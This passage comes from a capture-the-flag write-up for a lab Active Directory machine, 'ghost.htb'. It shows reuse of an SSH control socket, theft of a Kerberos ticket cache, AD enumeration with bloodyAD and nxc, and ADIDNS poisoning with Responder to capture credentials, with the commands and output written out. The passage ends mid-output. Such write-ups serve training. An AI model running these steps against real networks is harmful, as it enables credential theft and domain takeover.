<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>root@36b733906694:~# <span class="nb">cat</span> .ssh/config
Host <span class="k">*</span>
  ControlMaster auto
  ControlPath ~/.ssh/controlmaster/%r@%h:%p
  ControlPersist <span class="nb">yes</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We see that the <code class="language-plaintext highlighter-rouge">ControlMaster</code> is on <code class="language-plaintext highlighter-rouge">auto</code> which means that an <code class="language-plaintext highlighter-rouge">ssh session</code> will automatically be controlled by creating a socket in the defined <code class="language-plaintext highlighter-rouge">ControlPath</code>, finally the <code class="language-plaintext highlighter-rouge">ControlPersist</code> determines the duration that the socket will stay alive, in this case perpetually. What all this means is that there’s an active <code class="language-plaintext highlighter-rouge">ssh</code> session that we can use to get to <code class="language-plaintext highlighter-rouge">florence.ramirez@ghost.htb@dev-workstation</code>. We can determine the <code class="language-plaintext highlighter-rouge">ip address</code> of this workstation via the <code class="language-plaintext highlighter-rouge">curl</code> command</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>root@36b733906694:~# curl dev-workstation <span class="nt">-vv</span>
<span class="k">*</span>   Trying 172.18.0.2:80...
<span class="k">*</span> connect to 172.18.0.2 port 80 failed: Connection refused
<span class="k">*</span> Failed to connect to dev-workstation port 80 after 5 ms: Couldn<span class="s1">'t connect to server
* Closing connection 0
curl: (7) Failed to connect to dev-workstation port 80 after 5 ms: Couldn'</span>t connect to server
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can also simply use the socket to connect to the machine.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>root@36b733906694:~# ssh florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~<span class="nv">$ </span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Taking a look we can find that we do have a kerberos session active.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>florence.ramirez@LINUX-DEV-WS01:~<span class="nv">$ </span>klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
09/24/26 04:54:03  09/24/26 14:54:03  krbtgt/GHOST.HTB@GHOST.HTB
        renew <span class="k">until </span>09/25/26 04:54:03
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The ticket cache file is the most interesting here so I’ll grab that and transfer it to my attacker machine.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>PS /home/w1ld/ALPHA/ghost&gt; klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: florence.ramirez@GHOST.HTB

Valid starting       Expires              Service principal
09/24/2026 14:55:02  09/25/2026 00:55:02  krbtgt/GHOST.HTB@GHOST.HTB
        renew <span class="k">until </span>09/25/2026 14:55:02
PS /home/w1ld/ALPHA/ghost&gt; nxc ldap dc01.ghost.htb <span class="nt">-k</span> <span class="nt">--use-kcache</span> <span class="nt">-M</span> <span class="nb">whoami
</span>LDAP        dc01.ghost.htb  389    DC01             <span class="o">[</span><span class="k">*</span><span class="o">]</span> Windows Server 2022 Build 20348 <span class="o">(</span>name:DC01<span class="o">)</span> <span class="o">(</span>domain:GHOST.HTB<span class="o">)</span> <span class="o">(</span>signing:None<span class="o">)</span> <span class="o">(</span>channel binding:Never<span class="o">)</span> 
LDAP        dc01.ghost.htb  389    DC01             <span class="o">[</span>+] GHOST.HTB<span class="se">\f</span>lorence.ramirez from ccache 
WHOAMI      dc01.ghost.htb  389    DC01             Name: Florence Ramirez
WHOAMI      dc01.ghost.htb  389    DC01             sAMAccountName: florence.ramirez
WHOAMI      dc01.ghost.htb  389    DC01             Enabled: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Password Never Expires: Yes
WHOAMI      dc01.ghost.htb  389    DC01             Last logon: 2026-09-24 04:58:02 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Password Last Set: 2024-02-01 22:48:11 UTC
WHOAMI      dc01.ghost.htb  389    DC01             Bad Password Count: 0
WHOAMI      dc01.ghost.htb  389    DC01             Distinguished Name: <span class="nv">CN</span><span class="o">=</span>Florence Ramirez,CN<span class="o">=</span>Users,DC<span class="o">=</span>ghost,DC<span class="o">=</span>htb
WHOAMI      dc01.ghost.htb  389    DC01             Member of: <span class="nv">CN</span><span class="o">=</span>IT,CN<span class="o">=</span>Users,DC<span class="o">=</span>ghost,DC<span class="o">=</span>htb
WHOAMI      dc01.ghost.htb  389    DC01             User SID: S-1-5-21-4084500788-938703357-3654145966-3606
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that we have a foothold onto the <code class="language-plaintext highlighter-rouge">ghost.htb</code> domain.</p>
<h1 id="user">User</h1>
<h2 id="mapping-our-next-moves">Mapping Our Next Moves</h2>
<p>What we really want is a <code class="language-plaintext highlighter-rouge">shell</code> on <code class="language-plaintext highlighter-rouge">DC01</code> as right now we have a shell on the <code class="language-plaintext highlighter-rouge">LINUX-DEV-WS01</code> computer.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">search</span><span class="w"> </span><span class="nt">--filter</span><span class="w"> </span><span class="s2">"(objectClass=computer)"</span><span class="w"> </span><span class="nt">--attr</span><span class="w"> </span><span class="nx">distinguishedName</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">DC01</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">LINUX-DEV-WS01</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Computers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">adfs_gmsa</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Managed</span><span class="w"> </span><span class="nx">Service</span><span class="w"> </span><span class="nx">Accounts</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Commonly the group that can get us that shell is the <code class="language-plaintext highlighter-rouge">Remote Management Users</code> which has the following members.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">object</span><span class="w"> </span><span class="s2">"Remote Management Users"</span><span class="w"> </span><span class="nt">--attr</span><span class="w"> </span><span class="nx">member</span><span class="w">                   

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Remote</span><span class="w"> </span><span class="nx">Management</span><span class="w"> </span><span class="nx">Users</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Builtin</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">member:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">adfs_gmsa</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Managed</span><span class="w"> </span><span class="nx">Service</span><span class="w"> </span><span class="nx">Accounts</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="p">;</span><span class="w"> </span><span class="n">CN</span><span class="o">=</span><span class="n">Justin</span><span class="w"> </span><span class="nx">Bradley</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We notice a familiar name: <code class="language-plaintext highlighter-rouge">justin.bradley</code> who earlier complained that the <code class="language-plaintext highlighter-rouge">bitbucket</code> domain wasn’t accessible we could be able to exploit this. By default <code class="language-plaintext highlighter-rouge">Domain Users</code> are able to modify the <code class="language-plaintext highlighter-rouge">ADIDNS</code> of a domain, let’s double check this.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">writable</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">S-1-5-11</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">ForeignSecurityPrincipals</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">permission:</span><span class="w"> </span><span class="nx">WRITE</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Florence</span><span class="w"> </span><span class="nx">Ramirez</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">permission:</span><span class="w"> </span><span class="nx">WRITE</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost.htb</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">MicrosoftDNS</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">DomainDnsZones</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">permission:</span><span class="w"> </span><span class="nx">CREATE_CHILD</span><span class="w">

</span><span class="n">distinguishedName:</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="err">_</span><span class="n">msdcs.ghost.htb</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">MicrosoftDNS</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ForestDnsZones</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">permission:</span><span class="w"> </span><span class="nx">CREATE_CHILD</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Based on this our next move would probably to create an <code class="language-plaintext highlighter-rouge">ADIDNS</code> entry for <code class="language-plaintext highlighter-rouge">bitbucket</code> pointing to our <code class="language-plaintext highlighter-rouge">attacker machine</code> running <code class="language-plaintext highlighter-rouge">responder</code> to catch any authentication. Important to note that since <code class="language-plaintext highlighter-rouge">SMB signing</code> is required we cannot feasibly relay to <code class="language-plaintext highlighter-rouge">smb</code>. We could theoretically relay to <code class="language-plaintext highlighter-rouge">ldap</code> as <code class="language-plaintext highlighter-rouge">signing</code> and <code class="language-plaintext highlighter-rouge">channelBinding</code> are both disabled, however I was unable to get any authentication to work.</p>

<p>Once we do get <code class="language-plaintext highlighter-rouge">justin.bradley</code> we’d have a shell on the domain, taking a look at <code class="language-plaintext highlighter-rouge">ACLs</code> through <code class="language-plaintext highlighter-rouge">ldap querying</code> and matching <code class="language-plaintext highlighter-rouge">justin.bradley's SID</code> around we find he’s a member of <code class="language-plaintext highlighter-rouge">msDS-GroupMSAMembership</code>. Whos users can read the passwords of <code class="language-plaintext highlighter-rouge">Managed Service Accounts</code>. Which we find to be <code class="language-plaintext highlighter-rouge">adfs_gmsa</code>. Here’s a little bit of the terminal-fu that went into this enumeration.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">cat</span><span class="w"> </span><span class="o">.</span><span class="nx">/users.acl</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="nt">-b3</span><span class="w"> </span><span class="s2">"justin.bradley"</span><span class="w">
</span><span class="mi">46509</span><span class="nt">-objectSid</span><span class="p">:</span><span class="w"> </span><span class="n">S-1-5-21-4084500788-938703357-3654145966-3607</span><span class="w">
</span><span class="nx">46566-primaryGroupID:</span><span class="w"> </span><span class="nx">513</span><span class="w">
</span><span class="mi">46586</span><span class="nt">-pwdLastSet</span><span class="p">:</span><span class="w"> </span><span class="mi">2024</span><span class="nt">-02-01</span><span class="w"> </span><span class="mi">22</span><span class="p">:</span><span class="mi">48</span><span class="p">:</span><span class="mf">11.603334</span><span class="o">+</span><span class="mi">00</span><span class="p">:</span><span class="mi">00</span><span class="w">
</span><span class="mi">46631</span><span class="p">:</span><span class="n">sAMAccountName:</span><span class="w"> </span><span class="nx">justin.bradley</span><span class="w">
</span><span class="mi">46662</span><span class="nt">-sAMAccountType</span><span class="p">:</span><span class="w"> </span><span class="mi">805306368</span><span class="w">
</span><span class="mi">46688</span><span class="nt">-sn</span><span class="p">:</span><span class="w"> </span><span class="n">bradley</span><span class="w">
</span><span class="nx">46700-uSNChanged:</span><span class="w"> </span><span class="nx">159944</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">grep</span><span class="w"> </span><span class="nt">-Rni</span><span class="w"> </span><span class="s2">"S-1-5-21-4084500788-938703357-3654145966-3607"</span><span class="w"> </span><span class="o">*.</span><span class="nf">acl</span><span class="w">     
</span><span class="n">users.acl:320:objectSid:</span><span class="w"> </span><span class="nx">S-1-5-21-4084500788-938703357-3654145966-3607</span><span class="w">
</span><span class="n">users.acl:576:msDS-GroupMSAMembership:</span><span class="w"> </span><span class="nx">O:S-1-5-32-544D:</span><span class="p">(</span><span class="n">A</span><span class="p">;;</span><span class="mi">0</span><span class="n">xf01ff</span><span class="p">;;;</span><span class="n">S-1-5-21-4084500788-938703357-3654145966-1000</span><span class="p">)(</span><span class="n">A</span><span class="p">;;</span><span class="mi">0</span><span class="n">xf01ff</span><span class="p">;;;</span><span class="n">S-1-5-21-4084500788-938703357-3654145966-3607</span><span class="p">)</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">grep</span><span class="w"> </span><span class="nt">-Rni</span><span class="w"> </span><span class="s2">"Managed Service Accounts"</span><span class="w"> </span><span class="o">*.</span><span class="nf">acl</span><span class="w">                     
</span><span class="n">groups.acl:437:member:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">adfs_gmsa</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Managed</span><span class="w"> </span><span class="nx">Service</span><span class="w"> </span><span class="nx">Accounts</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="p">;</span><span class="w"> </span><span class="n">CN</span><span class="o">=</span><span class="n">Justin</span><span class="w"> </span><span class="nx">Bradley</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">users.acl:559:distinguishedName:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">adfs_gmsa</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Managed</span><span class="w"> </span><span class="nx">Service</span><span class="w"> </span><span class="nx">Accounts</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="justinbradley-through-dns-poisoning">Justin.Bradley through DNS Poisoning</h2>
<p>So I added my <code class="language-plaintext highlighter-rouge">DNS</code> record like so.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bloodyAD</span><span class="w"> </span><span class="nt">-H</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-d</span><span class="w"> </span><span class="nx">ghost.htb</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">add</span><span class="w"> </span><span class="nx">dnsRecord</span><span class="w"> </span><span class="nx">bitbucket</span><span class="w"> </span><span class="nx">10.10.14.3</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Adding</span><span class="w"> </span><span class="s2">"bitbucket"</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="s2">"DC=ghost.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb"</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">bitbucket</span><span class="w"> </span><span class="nx">has</span><span class="w"> </span><span class="nx">been</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">added</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">Responder</code> running to catch the authentications.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">sudo</span><span class="w"> </span><span class="nx">/home/w1ld/.local/bin/responder</span><span class="w"> </span><span class="nt">-I</span><span class="w"> </span><span class="nx">tun0</span><span class="w"> </span><span class="nt">-v</span><span class="w">    
                                         </span><span class="err">__</span><span class="w">
  </span><span class="o">.</span><span class="nf">----</span><span class="o">.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">--</span><span class="o">|</span><span class="w">  </span><span class="o">|.</span><span class="nf">-----</span><span class="o">.</span><span class="nf">----</span><span class="o">.</span><span class="w">
  </span><span class="o">|</span><span class="w">   </span><span class="err">_</span><span class="o">|</span><span class="w">  </span><span class="nt">-__</span><span class="o">|</span><span class="err">__</span><span class="w"> </span><span class="o">--|</span><span class="w">  </span><span class="err">_</span><span class="w">  </span><span class="o">|</span><span class="w">  </span><span class="err">_</span><span class="w">  </span><span class="o">|</span><span class="w">     </span><span class="o">|</span><span class="w">  </span><span class="err">_</span><span class="w">  </span><span class="o">||</span><span class="w">  </span><span class="nt">-__</span><span class="o">|</span><span class="w">   </span><span class="err">_</span><span class="o">|</span><span class="w">
  </span><span class="o">|</span><span class="err">__</span><span class="o">|</span><span class="w"> </span><span class="o">|</span><span class="err">_____</span><span class="o">|</span><span class="err">_____</span><span class="o">|</span><span class="w">   </span><span class="err">__</span><span class="o">|</span><span class="err">_____</span><span class="o">|</span><span class="err">__</span><span class="o">|</span><span class="err">__</span><span class="o">|</span><span class="err">_____</span><span class="o">||</span><span class="err">_____</span><span class="o">|</span><span class="err">__</span><span class="o">|</span><span class="w">
                   </span><span class="o">|</span><span class="err">__</span><span class="o">|</span><span class="w">


</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Tips</span><span class="w"> </span><span class="nx">jar:</span><span class="w">
    </span><span class="n">USDT</span><span class="w"> </span><span class="o">-</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">0xCc98c1D3b8cd9b717b5257827102940e4E17A19A</span><span class="w">
    </span><span class="n">BTC</span><span class="w">  </span><span class="o">-</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Poisoners:</span><span class="w">
    </span><span class="nx">LLMNR</span><span class="w">                      </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">NBT-NS</span><span class="w">                     </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">MDNS</span><span class="w">                       </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">DNS</span><span class="w">                        </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">DHCP</span><span class="w">                       </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">DHCPv6</span><span class="w">                     </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Servers:</span><span class="w">
    </span><span class="nx">HTTP</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">HTTPS</span><span class="w"> </span><span class="nx">server</span><span class="w">               </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">WPAD</span><span class="w"> </span><span class="nx">proxy</span><span class="w">                 </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Auth</span><span class="w"> </span><span class="nx">proxy</span><span class="w">                 </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">SMB</span><span class="w"> </span><span class="nx">server</span><span class="w">                 </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">Kerberos</span><span class="w"> </span><span class="nx">server</span><span class="w">            </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">SQL</span><span class="w"> </span><span class="nx">server</span><span class="w">                 </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">FTP</span><span class="w"> </span><span class="nx">server</span><span class="w">                 </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">IMAP</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">POP3</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">SMTP</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">DNS</span><span class="w"> </span><span class="nx">server</span><span class="w">                 </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">LDAP</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">MQTT</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">RDP</span><span class="w"> </span><span class="nx">server</span><span class="w">                 </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">DCE-RPC</span><span class="w"> </span><span class="nx">server</span><span class="w">             </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">WinRM</span><span class="w"> </span><span class="nx">server</span><span class="w">               </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">
    </span><span class="n">SNMP</span><span class="w"> </span><span class="nx">server</span><span class="w">                </span><span class="p">[</span><span class="n">ON</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">HTTP</span><span class="w"> </span><span class="nx">Options:</span><span class="w">
    </span><span class="n">Always</span><span class="w"> </span><span class="nx">serving</span><span class="w"> </span><span class="nx">EXE</span><span class="w">         </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Serving</span><span class="w"> </span><span class="nx">EXE</span><span class="w">                </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Serving</span><span class="w"> </span><span class="nx">HTML</span><span class="w">               </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Upstream</span><span class="w"> </span><span class="nx">Proxy</span><span class="w">             </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Poisoning</span><span class="w"> </span><span class="nx">Options:</span><span class="w">
    </span><span class="n">Analyze</span><span class="w"> </span><span class="nx">Mode</span><span class="w">               </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Force</span><span class="w"> </span><span class="nx">WPAD</span><span class="w"> </span><span class="nx">auth</span><span class="w">            </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Force</span><span class="w"> </span><span class="nx">Basic</span><span class="w"> </span><span class="nx">Auth</span><span class="w">           </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Force</span><span class="w"> </span><span class="nx">LM</span><span class="w"> </span><span class="nx">downgrade</span><span class="w">         </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">
    </span><span class="n">Force</span><span class="w"> </span><span class="nx">ESS</span><span class="w"> </span><span class="nx">downgrade</span><span class="w">        </span><span class="p">[</span><span class="n">OFF</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Generic</span><span class="w"> </span><span class="nx">Options:</span><span class="w">
